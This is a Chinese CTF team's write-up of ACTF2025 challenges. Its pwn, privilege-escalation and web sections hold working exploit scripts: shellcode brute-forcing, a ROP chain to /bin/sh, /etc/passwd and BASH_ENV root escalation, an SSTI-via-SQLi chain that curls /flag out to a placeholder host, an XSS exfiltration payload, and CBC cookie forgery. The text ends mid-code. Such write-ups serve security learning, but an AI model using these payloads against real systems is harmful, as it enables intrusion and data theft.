本次 ACTF2025,我们XMCVE-Polaris战队排名第6。
排名 | 队伍 | 总分 |
---|---|---|
1 | N0wayBack | 10501.28 |
2 | N1STAR | 7732 |
3 | Spirit+ | 7557.83 |
4 | V&N | 6581.63 |
5 | Nepnep | 6411.9 |
6 | XMCVE-Polaris | 6219 |
7 | 0RAYS | 5980.67 |
8 | Ph0t1n1a | 5419.58 |
9 | 0psu3 | 5009.8 |
10 | USTC-NEBULA | 4943.4 |
PWN
AFL sandbox
- sandbox写shellcode,伪造orw shellcode但fuzz没有输出,考虑测信道爆破flag,测试fuzz检测程序在循环时会提示timeout,否则崩溃退出,利用这个输出写测信道爆破脚本拿到flag,程序逻辑:
int __cdecl setup()
{
unsigned int i; // [rsp+4h] [rbp-1Ch]
int err; // [rsp+8h] [rbp-18h]
int erra; // [rsp+8h] [rbp-18h]
int errb; // [rsp+8h] [rbp-18h]
int fd; // [rsp+Ch] [rbp-14h]
scmp_filter_ctx ctx; // [rsp+18h] [rbp-8h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
err = setvbuf(stderr, 0LL, 2, 0LL);
if ( err < 0 )
return err;
fd = open("/tmp/shellcode.bin", 0);
if ( fd < 0 )
return fd;
shellcode_addr = mmap((void *)0x10000, 0x1000uLL, 5, 18, fd, 0LL);
if ( shellcode_addr == (void *)-1LL )
return -1;
if ( mmap((void *)0x20000, 0x1000uLL, 3, 50, -1, 0LL) == (void *)-1LL )
return -1;
ctx = (scmp_filter_ctx)seccomp_init(0LL);
if ( !ctx )
return -1;
for ( i = 0; i <= 6; ++i )
{
erra = seccomp_rule_add(ctx, 0x7FFF0000LL, (unsigned int)allowed_0[i], 0LL);
if ( erra < 0 )
return erra;
}
errb = seccomp_load(ctx);
if ( errb < 0 )
return errb;
seccomp_release(ctx);
return 0;
}
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
if ( setup() )
exit(-1);
((void (__fastcall *)(_QWORD, const char **, const char **))shellcode_addr)((unsigned int)argc, argv, envp);
exit(0);
}
- 测试靶机flag路径shellcode,出现timout表示路径正确
def test(pos,char):
shellcode=asm(shellcraft.open('/home/ctf/flag')
shellcode+=asm('''
.L1:
cmp rax,4
jz .L1
''')
return shellcode
通过工作量证明之后即可进行shellcode填写。
Exp
from pwn import *
import hashlib
from itertools import *
from string import *
context.log_level = 'debug'
DIFFICULTY_POW = 12
context.arch='amd64'
def nc(data):
if ':' in data:
sym = ':'
else:
sym = ' '
address = data.split(sym)[-2]
port = int(data.split(sym)[-1].strip())
print('地址:', address)
print('端口:', port)
sh = remote(address, port)
return sh
def is_valid(digest):
zeros = "0" * DIFFICULTY_POW
bits = "".join(bin(i)[2:].zfill(8) for i in digest)
return bits[:DIFFICULTY_POW] == zeros
# Proof of Work
def PoW(sh):
LEN = len('solve this: sha256(')
proof = sh.recvline_contains(b'solve this:')[LEN:LEN+8]
print(proof)
table = ascii_letters + digits
for i in product(table, repeat=4):
ans = ''.join(i).encode()
t = hashlib.sha256(proof + ans).digest()
if is_valid(t):
print(ans)
return ans
def orw(pos,char):
addr=0x20000
shellcode=asm(shellcraft.open('/home/ctf/flag')+shellcraft.read(4,addr,0x50))
shellcode+=asm('''
mov dl,[rsi+{}]
cmp dl,{}
jbe $
'''.format(pos,char))
return shellcode
def pwn(pos,char):
data = 'nc 61.147.171.105 58873'
sh = nc(data)
sh.sendline(PoW(sh))
addr=0x20000
hex_shellcode = orw(pos,char).hex()
chunk_size = 32
sh.recvuntil("> \n")
for i in range(0, len(hex_shellcode), chunk_size):
chunk = hex_shellcode[i:i+chunk_size]
sh.send(chunk)
sh.send("\n")
sh.recvuntil("> \n")
sh.send("\n")
sh.recvuntil("/tmp/shellcode.bin\n")
try:
a=sh.recv(timeout=50)
print(a)
if b"Timeout" not in a:
sh.close()
return False
else:
sh.close()
return True
except KeyboardInterrupt:
exit(0)
i = 0
flag = ''
while True:
l = 0x20
r = 0x7f
while l < r:
m = (l + r) // 2
if pwn(i, m):
r = m
else:
l = m + 1
flag += chr(l)
log.info(flag)
i += 1
only read
程序是一个没有泄漏的栈溢出。
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF
read(0, buf, 0x800uLL);
return 0;
}
找到两处 gadget ,组合一下即可实现可控的函数调用。
第一处位于程序基地址
0x40111c: add DWORD PTR [rbp-0x3d], ebx; nop; ret;
第二处位于libc地址,该地址可以由 0x40111c 地址对栈上的 main 函数的返回地址 __libc_start_main+139
进行两次偏移后稳定得到
0x323b3:
mov rsi, [rbp-0x98]
mov rdi, [rbp-0x90]
xor edx, edx
mov [rbp+0x18], eax
mov rax, [rbp-0x68]
lea rsp, [rbp-0x28]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp rax
脚本如下
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('1.95.126.42', 9999)
sh.recvuntil(b'-mb26 ')
resource=sh.recvn(len("pvryxuxir"))
token = subprocess.run(["hashcash", "-mb26", resource], capture_output=True, text=True).stdout.strip()
sh.recv()
sh.sendline(token.encode())
sh.recvuntil(b'challenge~\n')
sh.send(cyclic(128) + p64(0x404f00-0x18) + p64(0x401142))
time.sleep(1)
sh.send(cyclic(136) + p64(0x401050) + flat({24:p64(0x404e00), 16:p64(0), 64:p64(0x40111c), 128:p64(0xbcb7d), 168:p64(0x404ec5)}, length=0xb0,filler=b'\0') + p64(0x40115E) + p64(0x000000000040111d) + p64(0) + p64(0x000000000040111d) + p64(0x404e80) + p64(0x000000000040115d))
time.sleep(1)
sh.send(cyclic(128) + p64(0x404ec4) + p64(0x40111c) + p64(0x40111c) + p64(0x401136))
time.sleep(1)
sh.send(cyclic(128) + p64(0x404ec4) + p64(0x40115E) * 0x10 + p64(0x401136))
time.sleep(1)
sh.send(b'/bin/sh\0' + cyclic(120) + p64(0x404fa0) + p8(0xb3))
time.sleep(1)
sh.interactive()
arandom
正常检查权限发现,这里是可写的
所以当前目录下的所有文件都可以mv,那么直接把 etc 文件夹改名
新建一个 etc 文件夹,创建一个新 passwd 文件,直接 su 提权
mv /etc /111
mkdir /etc
echo 'root::0:0:root:/root:/bin/bash' > /etc/passwd
su root
MISC
QQQRcode
先完成第一步验证工作量代码
from pwn import *
import hashlib
import itertools
import string
import re
io = remote('1.95.71.197', 9999)
def find_prefix(target_hash, suffix, length=4):
charset = string.ascii_letters + string.digits + "!@#$%^&*()"
for prefix_tuple in itertools.product(charset, repeat=length):
prefix = ''.join(prefix_tuple)
combined = prefix + suffix
hash_result = hashlib.sha256(combined.encode()).hexdigest()
if hash_result == target_hash:
return prefix
return None
response = io.recvuntil(b'\n')
match = re.search(r'\+([a-zA-Z0-9+/=]+)\)\s*==\s*([a-f0-9]+)', response.decode())
if match:
part1 = match.group(1)
part2 = match.group(2)
print("哈希值:" + part1)
print("后缀为:" + part2)
prefix = find_prefix(part2, part1)
if prefix:
print(f"找到匹配的前缀:{prefix}")
else:
print("未找到匹配的前缀")
response1 = io.recvuntil(b'XXXX:')
io.sendline(prefix)
next_response = io.recvline()
print("答案为"+ next_response.decode())
io.interactive()
完成二维码生成函数,注意box_size和border的设置,方便之后矩阵的转化
def generate_three_qr_codes():
filenames = []
chars = ['Azure', 'Assassin', 'Alliance']
for i, char in enumerate(chars):
filename = f"qr_{char}.png"
qr = qrcode.QRCode(
version=1,
error_correction=qrcode.constants.ERROR_CORRECT_L,
box_size=1,
border=0,
)
qr.add_data(char)
qr.make(fit=True)
img = qr.make_image(fill='black', back_color='white')
img.save(filename)
filenames.append(filename)
return filenames
二维码转成二维矩阵
def read_qr_pixels_to_matrix(filename):
img = Image.open(filename)
img = img.convert('1')
pixels = np.array(img)
binary_matrix = (pixels == 0).astype(int) # 黑色为 0,白色为 1
print("Decoded 21x21 Matrix from QR code:")
for row in binary_matrix:
print(row) # 打印每一行
return binary_matrix
front
投影:从z
轴方向查看三维矩阵,生成二维图像。
left
投影:从x
轴方向查看三维矩阵,生成二维图像。
top
投影:从y
轴方向查看三维矩阵,生成二维图像。
front
投影对应字符 Azure
。
left
投影对应字符 Assassin
。
top
投影对应字符 Alliance
。
得到三个独立的二维码之后,我们使用将三个二维码分别作为新的“三维码”的前、左、顶三个面,并转化为字符串。虽然说这样不够严谨,0索引列的二维码点位会存在多点
的情况,但是经过本地测试是可以扫出来的,只能说二维码的包容性还是太好了。
# 将投影矩阵合并为一个 21x21x21 的三维矩阵
def create_3d_matrix(front, left, top):
"""
将三个投影合并成一个 21x21x21 的三维矩阵。
:param front: 从 `x` 和 `y` 轴的投影。
:param left: 从 `x` 和 `z` 轴的投影。
:param top: 从 `y` 和 `z` 轴的投影。
:return: 21x21x21 的三维矩阵。
"""
matrix = np.zeros((21, 21, 21), dtype=int)
# 将 front 投影放入 `x` 和 `y` 层
for x in range(21):
for y in range(21):
matrix[x][y][0] = front[x][y] # 将 front 投影放入第一个 z 层
# matrix[x][y][-1] = front[x][y] # 将 front 投影放入第一个 z 层
# 将 left 投影放入 `x` 和 `z` 层
for x in range(21):
for z in range(21):
matrix[x][0][z] = left[x][z]
# matrix[x][-1][z] = left[x][z] # 将 left 投影放入第一个 y 层
# 将 top 投影放入 `y` 和 `z` 层
for y in range(21):
for z in range(21):
matrix[0][y][z] = top[y][z]
# matrix[-1][y][z] = top[y][z] # 将 top 投影放入第一个 x 层
return matrix
def three_dim_matrix_to_binary(matrix):
if matrix.ndim != 3:
raise ValueError("输入必须是一个三维矩阵")
# 将矩阵元素转换为 1 或 0,True -> 1, False -> 0
binary_data = (matrix == 1).astype(int).flatten()
# 将数字数组转换为二进制字符串
binary_str = ''.join(map(str, binary_data))
return binary_str
但是我们后来发现这样子满足不了答案1的个数小于390的要求,所以我们对原先的三维码进行一个修补:遍历所有非前、左、顶三个面的点,若其投影在前、左、顶三个面上的点都为1,则我们将三个点从三个面上合并到中心,这样就节省了大量点数,经测试通过了check,省到了346个点,
def create_3d_matrix(front, left, top):
"""
将三个投影合并成一个 21x21x21 的三维矩阵。
:param front: 从 `x` 和 `y` 轴的投影。
:param left: 从 `x` 和 `z` 轴的投影。
:param top: 从 `y` 和 `z` 轴的投影。
:return: 21x21x21 的三维矩阵。
"""
matrix = np.zeros((21, 21, 21), dtype=int)
# 将 front 投影放入 `x` 和 `y` 层
for x in range(21):
for y in range(21):
matrix[x][y][0] = front[x][y] # 将 front 投影放入第一个 z 层
# matrix[x][y][-1] = front[x][y] # 将 front 投影放入第一个 z 层
# 将 left 投影放入 `x` 和 `z` 层
for x in range(21):
for z in range(21):
matrix[x][0][z] = left[x][z]
# matrix[x][-1][z] = left[x][z] # 将 left 投影放入第一个 y 层
# 将 top 投影放入 `y` 和 `z` 层
for y in range(21):
for z in range(21):
matrix[0][y][z] = top[y][z]
# matrix[-1][y][z] = top[y][z] # 将 top 投影放入第一个 x 层
for x in range(1,21):
for y in range(1,21):
for z in range(1,21):
if matrix[x][y][0] and matrix[x][0][z] and matrix[0][y][z]==1:
matrix[x][y][z]=1
matrix[x][y][0]=0
matrix[x][0][z]=0
matrix[0][y][z]=0
return matrix
然后将这串字符串交给服务器即可得到flag,完整exp
from pwn import *
import hashlib
import itertools
import string
import re
import qrcode
import numpy as np
from PIL import Image
io = remote('1.95.71.197', 9999)
def find_prefix(target_hash, suffix, length=4):
charset = string.ascii_letters + string.digits + "!@#$%^&*()"
for prefix_tuple in itertools.product(charset, repeat=length):
prefix = ''.join(prefix_tuple)
combined = prefix + suffix
hash_result = hashlib.sha256(combined.encode()).hexdigest()
if hash_result == target_hash:
return prefix
return None
# 生成二维码并保存为 PNG 文件
def generate_three_qr_codes():
filenames = []
chars = ['Azure', 'Assassin', 'Alliance']
for i, char in enumerate(chars):
filename = f"qr_{char}.png"
qr = qrcode.QRCode(
version=1,
error_correction=qrcode.constants.ERROR_CORRECT_L,
box_size=1,
border=0,
)
qr.add_data(char)
qr.make(fit=True)
img = qr.make_image(fill='black', back_color='white')
img.save(filename)
filenames.append(filename)
return filenames
# 读取二维码图像并转换为 21x21 二进制矩阵
def read_qr_pixels_to_matrix(filename):
img = Image.open(filename)
img = img.convert('1') # 转换为黑白(1位)图像
pixels = np.array(img)
# 黑色像素为 0,白色像素为 1
binary_matrix = (pixels == 0).astype(int)
return binary_matrix
# 将投影矩阵合并为一个 21x21x21 的三维矩阵
def create_3d_matrix(front, left, top):
"""
将三个投影合并成一个 21x21x21 的三维矩阵。
:param front: 从 `x` 和 `y` 轴的投影。
:param left: 从 `x` 和 `z` 轴的投影。
:param top: 从 `y` 和 `z` 轴的投影。
:return: 21x21x21 的三维矩阵。
"""
matrix = np.zeros((21, 21, 21), dtype=int)
# 将 front 投影放入 `x` 和 `y` 层
for x in range(21):
for y in range(21):
matrix[x][y][0] = front[x][y] # 将 front 投影放入第一个 z 层
# matrix[x][y][-1] = front[x][y] # 将 front 投影放入第一个 z 层
# 将 left 投影放入 `x` 和 `z` 层
for x in range(21):
for z in range(21):
matrix[x][0][z] = left[x][z]
# matrix[x][-1][z] = left[x][z] # 将 left 投影放入第一个 y 层
# 将 top 投影放入 `y` 和 `z` 层
for y in range(21):
for z in range(21):
matrix[0][y][z] = top[y][z]
# matrix[-1][y][z] = top[y][z] # 将 top 投影放入第一个 x 层
for x in range(1,21):
for y in range(1,21):
for z in range(1,21):
if matrix[x][y][0] and matrix[x][0][z] and matrix[0][y][z]==1:
matrix[x][y][z]=1
matrix[x][y][0]=0
matrix[x][0][z]=0
matrix[0][y][z]=0
return matrix
# 将三维矩阵转换为二进制字符串
def three_dim_matrix_to_binary(matrix):
if matrix.ndim != 3:
raise ValueError("输入必须是一个三维矩阵")
# 将矩阵元素转换为 1 或 0,True -> 1, False -> 0
binary_data = (matrix == 1).astype(int).flatten()
# 将数字数组转换为二进制字符串
binary_str = ''.join(map(str, binary_data))
return binary_str
response = io.recvuntil(b'\n')
match = re.search(r'\+([a-zA-Z0-9+/=]+)\)\s*==\s*([a-f0-9]+)', response.decode())
if match:
part1 = match.group(1)
part2 = match.group(2)
print("哈希值:" + part1)
print("后缀为:" + part2)
prefix = find_prefix(part2, part1)
if prefix:
print(f"找到匹配的前缀:{prefix}")
else:
print("未找到匹配的前缀")
response1 = io.recvuntil(b'XXXX:')
io.sendline(prefix)
next_response = io.recvline()
print("答案为"+ next_response.decode())
filenames = generate_three_qr_codes()
matrices = []
for filename in filenames:
matrix = read_qr_pixels_to_matrix(filename)
matrices.append(matrix)
three_dim_matrix = create_3d_matrix(matrices[1],matrices[2],matrices[0])
result = three_dim_matrix_to_binary(three_dim_matrix).encode()
response2 = io.recvuntil(b'data:')
print(result)
io.sendline(result)
print(io.recvline())
print(result.count(b"1"))
io.interactive()
经测试通过check的字符串
111111101111101111111100000000000001000001100000000000000000000100000000000001001001100000000000001000101100000000000000000001100000000000000010001000000000011100000000100000000000000000011000000010000000000000100000000000000011110000000010100000000010000000000000000001001000000000000000001111100001000100100000010100000000000000000010100000000010001100000100000100001000000000100000000101000100000100000000000011000000110111100110001100000100000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001100000000000000000001000000000000000000000001000000000000000000000100000000000000000000010000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000010000000000000000000000100000000000000000001000000000000000000000000100000000000000000000100000000000000000100000000000000000000000000100000000000000000001000000000000000000000000100000000000000000000000000000000000000010000000000000000000000000000000000000000000000001000000000100000000000000000000000000000000001000000000000001000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000001000000000000000000000001000000000000000010000000000000000000000000100000000000000000000100000000000000000101000000000000000000000000010000000000000000000000100000000000000001000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000001000000000000000000000000000000000010000000000000000000000000010000000000000000100000000000000000000000000000100000000000000000000000000000000000000000000000000001000000000100000000000000000000000000000000001000000000000000000000000000100000000000000000000100000000000001000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000100000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000100000000000000001000000000100000000000000000000001000000000000000010000000000000000000100000000000000000000000000000001000000010000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000100000000000000000000000000000000000010000000000000000000000000000000001000000000000000000000000000000100000000000000000000000000001000000000000000000010000000000000000000100000000000000000010000100000000000000000000000000000010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000110000010000000101010000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000001000000000000000000000000000100000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000010000010010000101001000000000000000000000000000000000000010000000000001000000000000000000000000100000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000100000000000000000000000000000000000000000000000010000000000010100000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000100100000000000000000000010000000000000000000000000000000000000000000100000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000110000000000000010110000000000000000000000000000000000000001000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000001000000000000000000000100000000000000000100000000000000000000000000000000000000000100000010001000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000010000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000100000000000000000000000000000000000011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000001000000000000000000000010000000000000000000001000000000000000000100000000100000000000000000000000000000000000000000000000001000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000111000000000000000000000000000000100000000000000000000001000000000000000000000000100100000000000000000000000000001000000000000000001000000000000000000000000000000000000000000100000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000100000000000000000000000000000000000000000100000000000000011100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000100000000000000000000000000100000000000000000000000000100000000000000000000000000100000000000000000000000000001000000000000000000000000000000000000001000000000000000000000000000000100000000000000000000100000000000000000000000000000000000000000000000000000010000000100110101000000000000000000000000000000000000000000000000000001000000000010000000000000000000000000010000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000100100001100100000000000000000000000000000100000000000000000000000000000000000010000100000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000100000001000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000100000000010010000000000000000000000000000000000000000000000100000000000001000000000000000000000000001000000000000000000000000100000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000100000000000000000000000000000000000000001000000000000000000000000100000000000000000000001000000000000100000001010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000100000000000000000000000100000000000100000000000000000000000000000000000000000000000000000000000000111011100001010100000000000000010000000000100000000000000000000100000000000000000000100000000000000000000100000000000000000000000000000000000000010000000000000000000000100000000000000000000000000000000000000000100000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000100000000000000000000000000000000000000000000100000000000000000000000000000000000000000000001000000000000000000000000000000000
flag:ACTF{QQQRCode_is_iiint3r3st1ng}
Master of Movie
Easy_0
yandex搜到电影名为大都会 Metropolis,得到IMDb号tt0017136
Easy_1
在 https://saucenao.com/ 网站上搜到该图片的来源
Nekojiru Gekijou Jirujiru Original - 16-18
TV Series (1999) - 27 Episodes
JPTitle: ねこぢる劇場 ぢるぢるORIGINAL
EPName: Festival Chapter
Est Time: 00:02:36 / 00:04:08
得到IMDb号tt8893624
Easy_2
百度识图得到电影名股疯,得知IMDb号为tt0109946
Easy_3
谷歌识图得到电影名为The substance,IMDb号为tt17526714
Easy_4
被看番的师傅发现了,得到番名碰之道,得到IMDb号tt31309480
Easy_5
谷歌搜图得到电影名头号战队豪兽者,进而得到IMDb号tt34382036
Easy_6
谷歌识图搜到高相似度图片
点击来源得知电影名为Hamilton,得到IMDb号tt8503618
Easy_7
在yandex搜到电影名为the room
Easy_8
在yandex搜到电影名为Baraka,得到IMDb号为tt0103767
Easy_9
在yandex搜到电影名为pulp fiction,得到IMDb号为tt0110912
Hard_1
百度识图搜到电影名东邪西毒,得到IMDb号tt0109688
Hard_3
谷歌识图得到相似电影场景,得知是印度电影流浪者,查得英文名awaara,得到IMDb号tt0043306
Hard_4
必应识图看到高相似度动画角色
得到电影名The Forgotten Children.(los niños olvidados),IMDb号tt5004766
最后对IMDd号进行汇总,并使用验证码脚本爆破,得到flag,IMDb汇总:
easy0:tt0017136 Metropolis
easy1:tt8893624 Nekojiru gekijô - jirujiru Original
easy2:tt0109946 股疯
easy3:tt17526714 the substance
easy4:tt31309480 碰之道 (ぽんのみち) Ep.04
easy5:tt34382036 头号战队豪兽者
easy6:tt8503618 HAMILTON Disney (2020)
easy7:tt0368226 the room
easy8: tt0103767 Baraka
easy9:tt0110912 pulp fiction
hard0:
hard1:tt0109688 东邪西毒
hard2:
hard3:tt0043306 流浪者
hard4:tt5004766 Psiconautas, los niños olvidados
验证码爆破脚本:
import hashlib
import itertools
# 固定后5位
suffix = 'gg1zp'
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
def find_string():
for prefix in itertools.product(charset, repeat=4):
candidate = ''.join(prefix) + suffix
sha256_hash = hashlib.sha256(candidate.encode()).hexdigest()
if sha256_hash.startswith('6b5861'):
print(f"Found: {candidate[:4]}")
return candidate, sha256_hash
print("Not found.")
if __name__ == '__main__':
find_string()
Flag: ACTF{IMDBMASTER_uw@tcHed@L0toFmoV1e|tt0118694}
Hard guess
附件给了一个html文件,里面有关于SSH用户名和密码的一些提示
经过猜测和尝试,得到SSH的用户名为:KatoMegumi,SSH的密码为:Megumi960923
程序通过 bash -c
执行命令( system("bash -c \"echo 'Who are you?'\""")
)可利用 BASH_ENV
环境变量加载恶意配置
echo 'cp /bin/bash /tmp/root_shell; chmod +xs /tmp/root_shell' > /tmp/exploit
export BASH_ENV=/tmp/exploit
./hello # 输入 'n' 触发 bash -c
/tmp/root_shell -p # 获取 root shell
成功拿到root,直接读取root目录下的flag即可
signin
题目给了一个Github仓库的链接:
签到:https://github.com/team-s2/ACTF-2025
我们直接访问,然后在项目的Commit历史记录中即可找到flag:ACTF{w3lc0ME2aCtf2O25h@veAn1ceDAY}
WEB
Excellent-Site
/admin 中存在SSTI模板注入,注入点 page_content 是从本地 http://ezmail.org 中获取的,可以利用 /news 中的SQL注入返回 SSTI payload ;
http://ezmail.org:3000/news?id=-1 UNION SELECT '{{lipsum.__globals__.os.popen("sleep 5").read()}}'
只有本地IP才能访问 /admin ,需要利用 /bot,bot 获取邮件主题作为请求url、响应内容为page_content值,因此只需 /report 发送主题为上面 SSTI payload的邮件,bot访问就可以实现SSTI;
/report 中发送邮件的发件人是 ignored@ezmail.org,而 get_subjects 方法中只接收来自 admin@ezmail.org 的邮件,所以还要通过邮件头注入修改发件人为 admin@ezmail.org;
最终exp如下,curl外带flag;
import time
import requests
url = "http://223.112.5.141:60524/"
# SSTI Payload
payload = "{{lipsum.__globals__.os.popen(\"curl%20http://x.x.x.x:7788/`cat /flag|base64`\").read()}}"
# 邮件头注入
subject = f"http://ezmail.org:3000/news?id=-1 UNION SELECT '{payload}'\r\nFrom: admin@ezmail.org\r\nResent-From: admin@ezmail.org"
start = time.time()
data = {"url": subject, "content": "haha"}
res_1 = requests.post(f"{url}/report", data=data)
res_2 = requests.get(f"{url}/bot")
print(time.time() - start)
eznote
在 app.js 中,/note 用于创建笔记,通过 /note/:noteId 方式可访问笔记,/report 可让 bot 去访问指定 url ;
而在 bot.js 的 visit 函数中,bot 会将 flag 作为 title 创建 note、再访问 /report 指定的 url;
因此,只需获得 bot 创建 note 的 id ,就可以访问 /note/:noteId 获得flag,利用javascript伪协议,在 /report 中提交如下 url 参数,通过 xss 获得 bot 的 noteId ,进而获得 flag;
javascript:fetch('/notes').then(r=>r.text()).then(d=>{new Image().src='http://x.x.x.x:7788/?data='+encodeURIComponent(d)})
Not so web1
考察CBC字节反转攻击,先在/register注册一个username='bdmin',password='123'
拿到cookie,也就是(CBC的密文)。
本地测试发现这个时候密文对应的明文是形如这样的,b'{"name": "bdmin", "password_raw": "123", "register_time": 1745636950}\r\r\r\r\r\r\r\r\r\r\r\r\r'
,register_time会不一样。
这个时候更改IV,使得解密结果为b'{"name": "admin", "password_raw": "123", "register_time": 1745636950}\r\r\r\r\r\r\r\r\r\r\r\r\r'
即可
import base64
from Crypto.Util.number import *
import requests
url = "http://61.147.171.105:50017"
data = {"username": "bdmin", "password": "123"}
session = requests.session()
r = session.post(url + "/login", data=data)
token = base64.b64decode(session.cookies.get_dict()['jwbcookie'].strip())
iv = token[:16]
cipher = token[16:]
plaintext = b'{"name": "bdmin", "password_raw": "123", "register_time": 1745636950}\r\r\r\r\r\r\r\r\r\r\r\r\r'
# target = b'{"name": "admin", "password_raw": "123", "register_time": 1745636950}\r\r\r\r\r\r\r\r\r\r\r\r\r'
tmp = iv[10] ^ ord('b') ^ ord('a')
newIV = iv[:10] + long_to_bytes(tmp) + iv[11:]
newtoken = newIV + cipher
header = {"Cookie": b"jwbcookie=" + base64.b64encode(newtoken)}
r = session.get(url + "/home", headers=header, allow_redirects=False)
if r.status_code != 302:
print(r.status_code)
print(f"cookie: {base64.b64encode(newtoken)}")
伪造cookie得到admin权限。
然后SSTI拿flag就行
ACTF{n3vEr_imPlem3nT_SuCh_Iv_HIJacK4bl3_C00Kie}
Not so web2
这题把签名换成了PKCS#1_v1.5,注意到关键函数:
def parse_cookie(cookie_b64: str) -> Tuple[bool, str]:
if not cookie_b64:
return False, ""
try:
cookie = base64.b64decode(cookie_b64, validate=True).decode()
except binascii.Error:
return False, ""
try:
msg_str, sig_hex = cookie.split("&")
except Exception:
return False, ""
msg_dict = json.loads(msg_str)
msg_str_bytes = msg_str.encode()
msg_hash = SHA256.new(msg_str_bytes)
sig = bytes.fromhex(sig_hex)
try:
PKCS1_v1_5.new(public_key).verify(msg_hash, sig)
valid = True
except (ValueError, TypeError):
valid = False
return valid, msg_dict.get("user_name")
这里只要让PKCS1_v1_5.new(public_key).verify(msg_hash, sig)
不抛出错误就能让valid为True,并不需要让PKCS1_v1_5.new(public_key).verify(msg_hash, sig)
返回True。随便注册一个号,把user_name改成admin就行
用fenjing生成一个payload
from fenjing import exec_cmd_payload, config_payload
import logging
import urllib
logging.basicConfig(level=logging.INFO)
def waf(s: str): # 如果字符串s可以通过waf则返回True, 否则返回False
blacklist = ["'", "_", "#", "&", ";"]
return all(word not in s for word in blacklist)
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "grep -r 'ACTF{'")
shell_payload = urllib.parse.quote(shell_payload)
print(f"{shell_payload=}")
得到
%7B%25set%20gr%3D%22%5Cx67%5Cx72%5Cx65%5Cx70%5Cx20%5Cx2d%5Cx72%5Cx20%5Cx27%5Cx41%5Cx43%5Cx54%5Cx46%5Cx7b%5Cx27%22%25%7D%7B%25set%20qw%3Dlipsum%7Cescape%7Cbatch%2822%29%7Cfirst%7Clast%25%7D%7B%25set%20gl%3Dqw%2A2%2B%22globals%22%2Bqw%2A2%25%7D%7B%25set%20bu%3Dqw%2A2%2B%22builtins%22%2Bqw%2A2%25%7D%7B%25set%20im%3Dqw%2A2%2B%22import%22%2Bqw%2A2%25%7D%7B%7Bg.pop%5Bgl%5D%5Bbu%5D%5Bim%5D%28%22os%22%29.popen%28gr%29.read%28%29%7D%7D
ACTF{CvE-2014-0160-Yyds_h34R78LeEd_ooB_D47A_onLY}
ACTF upload
注册账号后获得随便上传一个文件,测试接口有任意文件读取
路径穿越读取源码app.py
import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session
app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')
@app.route('/')
def index():
if session.get('username'):
